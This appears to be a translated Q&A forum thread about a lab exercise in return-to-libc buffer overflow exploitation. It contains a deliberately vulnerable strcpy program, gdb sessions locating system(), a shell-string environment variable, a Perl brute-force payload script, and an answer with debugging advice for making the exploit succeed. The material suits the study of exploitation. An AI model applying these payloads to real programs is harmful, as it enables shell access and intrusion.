我正在搞乱缓冲区溢出,特别是返回libc类。
我有以下易受攻击的代码:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
我使用带有-fstack-protector
标志的gcc-2.95(无-mpreferred-stack-boundary=2
)编译它。我跟着返回"Hacking: The Art of Exploitation"的libc章节。
首先,我禁用了ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
我找到了system
的地址:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
我创建了一个环境变量来包含我想要使用system
执行的命令:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
然后我制作了一个perl脚本来自动获取shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
我哪里出错了?为什么我得到“非法指令”而不是我的shell?
答案 0 :(得分:6)
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
改变'A'的数量以测试各种故障。在find python -c "print 'A'*73"
(用于生成上述内容的73)中,有助于生成参数。
gdb会告诉您崩溃的确切位置以及崩溃时EIP / RIP的内容。这应该指导您回答问题。
最有可能的是,你没有在堆栈的返回地址中获得一个好的指针,并且执行正在降落到有效指令的内存中。我想你离这儿很近。分段故障更可能是在甚至没有分配的内存区域中执行着陆。
使用(gdb) x/10i $eip
确定崩溃时EIP上的说明。您可以通过更改该命令中的10来改变所显示的反汇编的长度。
您还需要确定您的系统参数在堆栈上的位置,以便它使其进入调用约定中的适当位置以使系统调用它。 gdb也应该能够在这里为您提供帮助(再次使用x
- x/4w
可能 - 和i r
)。
成功利用需要以上两个部分:0xb7eb6680必须在返回地址中,0xbffff96d必须是系统将从中读取第一个参数的地方。
另一个有用的技巧:在ret
函数末尾的strcpy
设置断点。这是一个方便的地方,可以检查您的堆栈并注册状态并确定您要执行的操作。 ret
是利用发生的地方:您提供的返回地址被读取,处理器开始在该地址执行而您已经关闭,假设您可以通过适当的参数继续执行您正在调用的任何内容等。程序在此ret
的状态是成败点,因此它是查看输入错误以及您将成功利用此漏洞的原因最简单的地方。
请原谅我,如果我的gdb语法没有响应......它不是我的主要调试器。